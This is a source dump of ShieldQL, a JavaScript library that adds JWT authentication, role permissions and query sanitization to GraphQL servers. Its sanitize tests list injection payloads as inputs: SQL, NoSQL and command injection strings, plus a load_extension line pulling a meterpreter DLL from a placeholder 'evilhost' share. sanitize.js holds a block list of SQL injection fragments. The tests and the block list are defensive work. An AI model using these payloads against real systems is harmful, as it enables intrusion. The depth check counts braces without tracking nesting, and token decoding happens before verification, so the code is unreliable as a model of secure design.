default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query';
110 | // shortQuery is a short mock query string (< 2000 characters)
111 | const shortQuery =
112 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query';
113 | // should throw error if query is longer than default (2000 characters) when default parameters are used (no arg is passed in for maxLength)
114 | expect(() => sanitize(longQuery)).toThrowError();
115 | expect(() => sanitize(shortQuery)).not.toThrowError();
116 | });
117 | it('Should allow user to customize length limit', () => {
118 | // init mock longQuery (>2000 characters)
119 | const longQuery =
120 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query';
121 | // init mock shortQuery (~400 characters)
122 | const shortQuery =
123 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query';
124 | // should only throw error if query length is greater than passed-in user argument for maxLength
125 | expect(() => sanitize(longQuery, false, 10, 4000)).not.toThrowError();
126 | expect(() => sanitize(shortQuery, false, 10, 200)).toThrowError();
127 | });
128 | it('Should not throw errors when queries with potentially malicious fragments are invoked during non-strict mode', () => {
129 | // init arr of dangerousQueries (strings)
130 | const dangerousQueries = [
131 | `query {
132 | users(search: "{\"email\": {\"$gte\": \"\"}}",
133 | options: "{\"fields\": {}}") {
134 | _id
135 | username
136 | fullname
137 | email
138 | }
139 | }`,
140 | `SELECT * from customers where id='1233' OR 2=2—'`,
141 | `mutation {
142 | createPaste(title:"hello!
", content:"zzzz", public:true) {
143 | paste {
144 | id
145 | }
146 | }
147 | }`,
148 | `query {
149 | customer(id: "22371' OR 1=1–") {
150 | name,
151 | email,
152 | address,
153 | contact
154 | }
155 | } `,
156 | `query {
157 | users(search: "{\"username\": {\"$regex\": \"jan\"}, \"email\": {\"$regex\": \"jan\"}}",
158 | options: "{\"skip\": 0, \"limit\": 10}") {
159 | _id
160 | username
161 | fullname
162 | email
163 | }
164 | }`,
165 | `query {
166 | users(search: "{\"email\": {\"$gte\": \"\"}}",
167 | options: "{\"fields\": {}}") {
168 | _id
169 | username
170 | fullname
171 | email
172 | }
173 | }`,
174 | `query {
175 | user(username: "*") {
176 | name
177 | email
178 | groups
179 | }
180 | }`,
181 | `query {
182 | getUser(id: "1; ls -la") {
183 | name
184 | email
185 | }
186 | }`,
187 | `query {
188 | getComment(id: "1") {
189 | user
190 | comment: ""
191 | }
192 | }`,
193 | `query {
194 | getComment(id: "1") {
195 | user
196 | comment: ""
197 | }
198 | }`,
199 | `UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
200 | `,
201 | ];
202 | // sanitize should not throw an error if a query with a potentially malicious fragment is passed in and strict mode is off
203 | dangerousQueries.forEach((maliciousQuery) => {
204 | expect(() => sanitize(maliciousQuery)).not.toThrowError();
205 | });
206 | });
207 | it('Should throw errors when queries with potentially malicious fragments are invoked during strict mode', () => {
208 | // init arr of dangerousQueries (strings)
209 | const dangerousQueries = [
210 | `query {
211 | users(search: "{\"email\": {\"$gte\": \"\"}}",
212 | options: "{\"fields\": {}}") {
213 | _id
214 | username
215 | fullname
216 | email
217 | }
218 | }`,
219 | `SELECT * from customers where id='1233' OR 2=2—'`,
220 | `mutation {
221 | createPaste(title:"hello!
", content:"zzzz", public:true) {
222 | paste {
223 | id
224 | }
225 | }
226 | }`,
227 | `query {
228 | customer(id: "22371' OR 1=1–") {
229 | name,
230 | email,
231 | address,
232 | contact
233 | }
234 | } `,
235 | `query {
236 | users(search: "{\"username\": {\"$regex\": \"jan\"}, \"email\": {\"$regex\": \"jan\"}}",
237 | options: "{\"skip\": 0, \"limit\": 10}") {
238 | _id
239 | username
240 | fullname
241 | email
242 | }
243 | }`,
244 | `query {
245 | users(search: "{\"email\": {\"$gte\": \"\"}}",
246 | options: "{\"fields\": {}}") {
247 | _id
248 | username
249 | fullname
250 | email
251 | }
252 | }`,
253 | `query {
254 | user(username: "*") {
255 | name
256 | email
257 | groups
258 | }
259 | }`,
260 | `query {
261 | getUser(id: "1; ls -la") {
262 | name
263 | email
264 | }
265 | }`,
266 | `query {
267 | getComment(id: "1") {
268 | user
269 | comment: ""
270 | }
271 | }`,
272 | `query {
273 | getComment(id: "1") {
274 | user
275 | comment: ""
276 | }
277 | }`,
278 | `UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
279 | `,
280 | ];
281 | // sanitize should throw an error if a query with a potentially malicious fragment is passed in and strict mode is on
282 | dangerousQueries.forEach((maliciousQuery) => {
283 | expect(() => sanitize(maliciousQuery, true)).toThrowError();
284 | });
285 | });
286 | });
287 |
--------------------------------------------------------------------------------
/__testing__/shieldql.json:
--------------------------------------------------------------------------------
1 | {
2 | "Rock": {
3 | "query": ["."],
4 | "mutation": ["."]
5 | },
6 | "Paper": {
7 | "query": ["."],
8 | "mutation": ["."]
9 | },
10 | "Scissors": {
11 | "query": ["."]
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/__testing__/shieldqlConfig.test.js:
--------------------------------------------------------------------------------
1 | // import file system and path functionality
2 | const fs = require('fs');
3 | const path = require('path');
4 | // import parse functionality from envfile library
5 | const { parse } = require('envfile');
6 | // import shieldqlConfig function
7 | const { shieldqlConfig } = require('../shieldqlConfig.js');
8 |
9 | // load env variables onto process.env object
10 | require('dotenv').config();
11 | // init const envSource as path to test env file
12 | const envSource = path.resolve(__dirname, './.env');
13 |
14 | describe('shieldqlConfig unit tests', () => {
15 | // clear env file contents
16 | beforeEach(() => {
17 | fs.writeFile(envSource, '', (err) => {
18 | if (err) throw `Error clearing env file: ${err}`;
19 | });
20 | });
21 | // once all tests are done, delete test env file
22 | afterEach(() => {
23 | // create new env file
24 | fs.writeFileSync(envSource, '', (err) => {
25 | if (err) throw `Error clearing env file: ${err}`;
26 | });
27 | });
28 |
29 | it('should not add a new refresh token secret if one already exists in the env file', async () => {
30 | // init variables prevRefreshSecret and nextRefreshSecret
31 | let prevRefreshSecret, nextRefreshSecret;
32 | // read env file
33 | fs.readFileSync(envSource, 'utf8', (err, data) => {
34 | // if error reading file log error
35 | if (err)
36 | console.log('Error reading env file at shieldqlConfig.test.js:', err);
37 | // init const prevEnv to store parsed (into JS object) env file contents
38 | const prevEnv = parse(data);
39 | // reassign prevRefreshSecret to current refresh secret in .env file
40 | prevRefreshSecret = prevEnv['REFRESH_TOKEN_SECRET'];
41 | });
42 | // invoke shieldqlConfig to test if it updates the refresh token property in the env file
43 | shieldqlConfig();
44 | // read env file again
45 | fs.readFileSync(envSource, 'utf8', async (err, data) => {
46 | if (err) console.log(err);
47 | // init const nextEnv to store parsed (into JS object) env file contents
48 | const nextEnv = await parse(data);
49 | // reassign nextRefreshSecret to current refresh secret in .env file
50 | nextRefreshSecret = nextEnv['REFRESH_TOKEN_SECRET'];
51 | });
52 | // there should not be a change in the refresh secret stored in the .env file
53 | expect(nextRefreshSecret).toEqual(prevRefreshSecret);
54 | });
55 | it('should not modify process.env value of refresh token secret', () => {
56 | let prevProcessEnv = process.env.REFRESH_TOKEN_SECRET;
57 | shieldqlConfig();
58 | expect(prevProcessEnv).toEqual(process.env.REFRESH_TOKEN_SECRET);
59 | });
60 | xit('should create new secrets in env file if none existed before', () => {});
61 | xit('should update secrets for each role', () => {});
62 | });
63 |
--------------------------------------------------------------------------------
/__testing__/validateUser.test.js:
--------------------------------------------------------------------------------
1 | // A testing suite for validateUser is a key area for future development
2 |
3 | // describe('validateUser unit tests', () => {
4 | // //
5 | // });
6 |
--------------------------------------------------------------------------------
/assets/sample_directory.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/sample_directory.png
--------------------------------------------------------------------------------
/assets/sample_directory2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/sample_directory2.png
--------------------------------------------------------------------------------
/assets/shieldQL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/shieldQL.png
--------------------------------------------------------------------------------
/loginLink.js:
--------------------------------------------------------------------------------
1 | const jwt = require('jsonwebtoken');
2 |
3 | // loginLink is an Express middleware function that authenticates the client, creates a jwt access token, and stores it as a cookie on the client's browser to authorize future graphQL queries and mutations aligned with the user's role-based permissions described in the shieldql.json file
4 | const loginLink = (req, res, next) => {
5 | const secretToken = `ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`;
6 | try {
7 | // create access token based on role passed via res.locals
8 | const accessToken = jwt.sign(
9 | { role: res.locals.role },
10 | process.env[secretToken],
11 | { expiresIn: '1d' }
12 | );
13 | // set new cookie with access token
14 | res.cookie('accessToken', accessToken, {
15 | httpOnly: true,
16 | secure: true,
17 | });
18 | // move on to next step in middleware chain
19 | return next();
20 | // if there is an error, invoke the global error handler
21 | } catch (err) {
22 | return next({
23 | log: `ROLE NOT FOUND. Express error: ${err}`,
24 | status: 404,
25 | message: { err: 'INVALID USER' },
26 | });
27 | }
28 | };
29 |
30 | // export loginLink
31 | module.exports = { loginLink };
32 |
--------------------------------------------------------------------------------
/main.js:
--------------------------------------------------------------------------------
1 | const { loginLink } = require('./loginLink');
2 | const { sanitizeQuery } = require('./sanitizeQuery');
3 | const { shieldqlConfig } = require('./shieldqlConfig');
4 | const { validateUser } = require('./validateUser');
5 |
6 | // our main.js file imports all of our library's functionality for export
7 | module.exports = {
8 | validateUser,
9 | loginLink,
10 | sanitizeQuery,
11 | shieldqlConfig,
12 | };
13 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "shieldql",
3 | "private": false,
4 | "version": "1.0.0",
5 | "type": "commonjs",
6 | "scripts": {
7 | "test": "jest --detectOpenHandles"
8 | },
9 | "devDependencies": {
10 | "@types/express": "^4.17.17",
11 | "jest": "^29.6.0"
12 | },
13 | "dependencies": {
14 | "dotenv": "^16.3.1",
15 | "dotenv-cli": "^7.2.1",
16 | "envfile": "^6.18.0",
17 | "jsonwebtoken": "^9.0.1",
18 | "path": "^0.12.7",
19 | "express": "^4.18.2"
20 | },
21 | "description": "A lightweight JavaScript library for GraphQL that adds authentication, authorization, and query sanitization to prevent malicious queries and injection attacks.",
22 | "main": "main.js",
23 | "repository": {
24 | "type": "git",
25 | "url": "git+https://github.com/oslabs-beta/ShieldQL.git"
26 | },
27 | "keywords": [
28 | "shieldql",
29 | "graphql",
30 | "security",
31 | "safergraphql",
32 | "safety",
33 | "cybersecurity",
34 | "auth",
35 | "authorization",
36 | "authentication",
37 | "querysanitization",
38 | "query",
39 | "sanitization",
40 | "secure",
41 | "shield",
42 | "protect",
43 | "insure",
44 | "safer",
45 | "safest"
46 | ],
47 | "author": "Rodrigo Calderon, Simran Kaur, Xin Jin Qiu, Siful Siddiki, Joie Zhang",
48 | "license": "ISC",
49 | "bugs": {
50 | "url": "https://github.com/oslabs-beta/ShieldQL/issues"
51 | },
52 | "homepage": "https://github.com/oslabs-beta/ShieldQL#readme"
53 | }
54 |
--------------------------------------------------------------------------------
/sanitize.js:
--------------------------------------------------------------------------------
1 | // sanitize is a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query.
2 | // Can be used as a standalone function and is also invoked within the body of the sanitizeQuery function
3 | const sanitize = (input, strict = false, maxDepth = 10, maxLength = 2000) => {
4 | // validate input type is string
5 | if (typeof input !== 'string') throw new Error('input must be a string');
6 | // check if input is more deeply nested than maxDepth
7 | deepLimit(input, maxDepth);
8 | // check if input is longer than maxLength
9 | lengthLimit(input, maxLength);
10 | // if function is being run on strict mode
11 | if (strict && strict !== 'false') {
12 | // init const blockList as arr of potentially malicious fragments (strings)
13 | const blockList = [
14 | // common SQL injection fragments
15 | '1=1',
16 | `' OR`,
17 | 'select sqlite_version()',
18 | '@@version',
19 | 'DROP TABLE',
20 | 'UNION SELECT null',
21 | 'SELECT sql FROM sqlite_schema',
22 | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`,
23 | // common HTML injection fragments
24 | '',
26 | 'script ',
27 | ' script ',
28 | // dangerous characters
29 | '<',
30 | '>',
31 | '-',
32 | '/',
33 | "'",
34 | `{"`,
35 | `"{`,
36 | `}"`,
37 | `*`,
38 | `"}`,
39 | `\\`,
40 | `{\\`,
41 | // log spoofing
42 | `%`,
43 | // PHP code insertion
44 | 'php',
45 | ];
46 | // iterate through each string in blockList
47 | for (const str of blockList) {
48 | // if input (query) contains a potentially malicious fragment, throw new error
49 | if (input.includes(str))
50 | throw new Error(`potentially malicious string detected:, ${str}`);
51 | }
52 | }
53 | // if no potential threats are detected, return the input query string
54 | return input;
55 | };
56 |
57 | // deepLimit is a function that accepts two params, input (a JSON string graphQL query) and depth (a number value) and throws an error if the passed-in input has a depth greater than depth, else returns input
58 | const deepLimit = (input, depth) => {
59 | // init const stack as an empty array
60 | const stack = [];
61 | // iterate through the input array
62 | for (let i = 0; i < input.length; i++) {
63 | if (stack.length > depth)
64 | throw new Error(
65 | 'Maximum query depth exceeded, modify query or maximum permitted query depth'
66 | );
67 | const el = input[i];
68 | // if the element is '{' push it to the stack
69 | if (el === '{') stack.push(el);
70 | }
71 | return input;
72 | };
73 |
74 | // init helper func lengthLimit that accepts two params, input (a JSON string graphQL query) and length (a number value) and throws an error if the passed-in input has a length greater than length, else returns input
75 | const lengthLimit = (input, length) => {
76 | // if input length exceeds passed-in param length, throw new Error
77 | if (input.length > length)
78 | throw new Error(
79 | 'Maximum query length exceeded, modify query or maximum permitted query length'
80 | );
81 | // if input depth is within the permitted limits, return input
82 | return input;
83 | };
84 |
85 | module.exports = { sanitize };
86 |
--------------------------------------------------------------------------------
/sanitizeQuery.js:
--------------------------------------------------------------------------------
1 | const { sanitize } = require('./sanitize.js');
2 |
3 | // sanitizeQuery is an Express middleware function users will require and invoke in their applications to sanitize graphQL queries
4 | const sanitizeQuery = async (req, res, next) => {
5 | try {
6 | // Enforce string type for req.body.query
7 | if (typeof req.body.query !== 'string') {
8 | return next({
9 | log: `Error at shieldQL sanitizeQuery, req.body.query must be a string`,
10 | status: 500,
11 | message: 'Internal server error',
12 | });
13 | }
14 | // build graphqlQuery string for sanitization by combining req.body.query with req.body.variables
15 | let graphqlQuery = req.body.query;
16 | // remove the beginning and ending brackets from the stringified JSON object to avoid unnecessarily triggering {" in blocklist
17 | if (req.body.variables) graphqlQuery += JSON.stringify(req.body.variables).slice(1, -1);
18 |
19 | // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query
20 | const paramsArr = [graphqlQuery];
21 |
22 | // check if result (the .env file) contains any params for strict, maxLength, and maxDepth
23 | paramsArr.push(
24 | process.env.strictShieldQL ? process.env.strictShieldQL : false
25 | );
26 | paramsArr.push(
27 | process.env.maxDepthShieldQL ? process.env.maxDepthShieldQL : 10
28 | );
29 | paramsArr.push(
30 | process.env.maxLengthShieldQL ? process.env.maxLengthShieldQL : 2000
31 | );
32 |
33 | // reassign query property of req.body to the sanitized query with passed-in config from env file
34 | graphqlQuery = sanitize(...paramsArr);
35 |
36 | // move to next link in middleware chain
37 | return next();
38 |
39 | // if error sanitizing query, invoke global error handler
40 | } catch (err) {
41 | return next({
42 | log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`,
43 | status: 406,
44 | message: 'There is something wrong with this query',
45 | });
46 | }
47 | };
48 |
49 | // export sanitizeQuery
50 | module.exports = { sanitizeQuery };
51 |
--------------------------------------------------------------------------------
/shieldqlConfig.js:
--------------------------------------------------------------------------------
1 | // import file system, path, and encryption functionality
2 | const fs = require('fs');
3 | const path = require('path');
4 | const encrypt = require('crypto');
5 | // import parse and stringify functionality from envfile library
6 | const { parse, stringify } = require('envfile');
7 |
8 | // initialize as envSource the path to the env file (or test file) depending on whether tests are being run
9 | const envSource =
10 | process.env.NODE_ENV === 'test'
11 | ? path.resolve(__dirname, './__testing__/.env')
12 | : path.resolve(__dirname, '../../.env');
13 |
14 | // import object containing user-configured GraphQL roles and corresponding permissions from the shieldql.json file as permissions
15 | const permissions =
16 | process.env.NODE_ENV === 'test'
17 | ? require(path.resolve(__dirname, './__testing__/shieldql.json'))
18 | : require(path.resolve(__dirname, '../../shieldql.json'));
19 |
20 | // shieldqlConfig is a function that accepts 3 params: strictShieldQL (bool), maxDepthShieldQL (number), maxLengthShieldQL (number) and creates new secrets and sanitizeQuery params properties in both the env file and the process.env object
21 | const shieldqlConfig = (
22 | strictShieldQL = false,
23 | maxDepthShieldQL = 10,
24 | maxLengthShieldQL = 2000
25 | ) => {
26 | // init const roles as array of uppercase strings (keys of permissions obj) describing permissions for each role in the shieldql file
27 | const roles = Object.keys(permissions).map(
28 | (role) => `ACCESS_TOKEN_${role.toUpperCase()}_SECRET`
29 | );
30 |
31 | // read env file
32 | fs.readFile(envSource, 'utf8', (err, data) => {
33 | // if error reading file log error
34 | if (err) return console.log('Error at shieldqlConfig:', err);
35 | // init const newEnv to store parsed (into JS object) env file contents
36 | const newEnv = parse(data);
37 | // for each role in the shieldql.json file, generate and store a secret as the value corresponding to each role from shieldql.json
38 | roles.forEach((role) => {
39 | // generate new secret
40 | const secret = encrypt.randomBytes(64).toString('hex');
41 | // store role and secret as key value pairs in the process.env obj (which was assigned to env variables at start and needs to be updated going forward) and the new env file (the newEnv obj)
42 | process.env[role] = newEnv[role] = secret;
43 | });
44 | // add each passed-in arg as a value in both the new .env file and the process.env object
45 | process.env.strictShieldQL = newEnv.strictShieldQL = strictShieldQL;
46 | process.env.maxDepthShieldQL = newEnv.maxDepthShieldQL = maxDepthShieldQL;
47 | process.env.maxLengthShieldQL = newEnv.maxLengthShieldQL =
48 | maxLengthShieldQL;
49 | // if refresh token secret doesn't already exist in the env file, create new refresh token secret
50 | if (!newEnv['REFRESH_TOKEN_SECRET']) {
51 | const secret = encrypt.randomBytes(64).toString('hex');
52 | // add secret and string 'REFRESH_TOKEN_SECRET' as key-value pairs
53 | process.env['REFRESH_TOKEN_SECRET'] = newEnv['REFRESH_TOKEN_SECRET'] =
54 | secret;
55 | }
56 | // update env file with new secrets
57 | fs.writeFile(envSource, stringify(newEnv), (err) => {
58 | // if unsuccessful log error, else log confirmation message
59 | err
60 | ? console.log('Error updating env file at shieldqlConfig:', err)
61 | : console.log('ShieldQL successfully configured');
62 | });
63 | });
64 | };
65 |
66 | // export shieldqlConfig
67 | module.exports = { shieldqlConfig };
68 |
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "forceConsistentCasingInFileNames": true,
4 | "strict": true,
5 | "target": "ES6",
6 | "module": "CommonJS",
7 | "esModuleInterop": true,
8 | "noImplicitAny": true
9 | },
10 | "include": ["./TypeScript/**/*"]
11 | }
12 |
--------------------------------------------------------------------------------
/validateUser.js:
--------------------------------------------------------------------------------
1 | const jwt = require('jsonwebtoken');
2 | const path = require('path');
3 | const permissions = require(path.resolve(__dirname, '../../shieldql.json'));
4 |
5 | // validateUser is an Express middleware function that verifies that the client making a graphQL query or mutation is authorized to do so through jwt verification
6 | // this function assumes that res.locals.role has already been populated with the user's role (that matches roles defined in the shieldql.json file) by a previous middleware function
7 | const validateUser = async (req, res, next) => {
8 | // pull out access token from cookies
9 | const accessToken = req.cookies.accessToken;
10 |
11 | let token;
12 | try {
13 | token = await jwt.decode(accessToken);
14 | } catch (err) {
15 | return next({
16 | log: `Express error during validateUser when decoding accessToken: ${err}`,
17 | status: 500,
18 | message: { err: 'INVALID USER' },
19 | });
20 | }
21 |
22 | const secret =
23 | process.env[`ACCESS_TOKEN_${token.role.toUpperCase()}_SECRET`];
24 |
25 | // verify token using role
26 | // result payload comes back as an object with roles and username as keys
27 | jwt.verify(accessToken, secret, (err, decoded) => {
28 | // if verification fails, send error
29 | if (err) {
30 | return next({
31 | log: `Express error during validateUser: ${err}`,
32 | status: 400,
33 | message: { err: 'INVALID USER' },
34 | });
35 | }
36 |
37 | // verification valid, meaning that jwt is a valid jwt we created
38 | // now check if client's query is appropriate based on their role
39 | const query = req.body.query;
40 |
41 | // parsing query to get operation word: query or mutation
42 | let operation = query.split('{\n')[0].trim().split(' ')[0];
43 | // or, if query notation excludes the word "query"
44 | if (!operation) operation = 'query';
45 |
46 | const fieldString = query.split('{\n')[1].trim();
47 | let field = '';
48 | // traverse fieldString until the first opening bracket or parenthesis to identify the query type
49 | for (let i = 0; i < fieldString.length; i++) {
50 | // accumulate to the field
51 | if (
52 | fieldString[i] === ' ' ||
53 | fieldString[i] === '(' ||
54 | fieldString[i] === '{'
55 | )
56 | break;
57 | field += fieldString[i];
58 | }
59 | // if the user role was not included on the shieldql.json file, invoke global error handler
60 | if (!permissions[decoded.role]) {
61 | return next({
62 | log: 'Express error: user role does not exist on the shieldql.json file',
63 | status: 500,
64 | message: { err: 'INVALID AUTHORIZATION' },
65 | });
66 | }
67 |
68 | const fieldArray = permissions[decoded.role][operation];
69 | // global error handler is triggered if the client request includes an unauthorized operation or unauthorized field
70 | if (
71 | !fieldArray ||
72 | (!fieldArray.includes('.') && !fieldArray.includes(field))
73 | ) {
74 | return next({
75 | log: 'Express error: USER DOES NOT HAVE VALID PERMISSIONS',
76 | status: 401,
77 | message: { err: 'INVALID AUTHORIZATION' },
78 | });
79 | }
80 | // if no errors exist, move on to next link in Express middleware chain
81 | return next();
82 | });
83 | };
84 |
85 | module.exports = { validateUser };
86 |
--------------------------------------------------------------------------------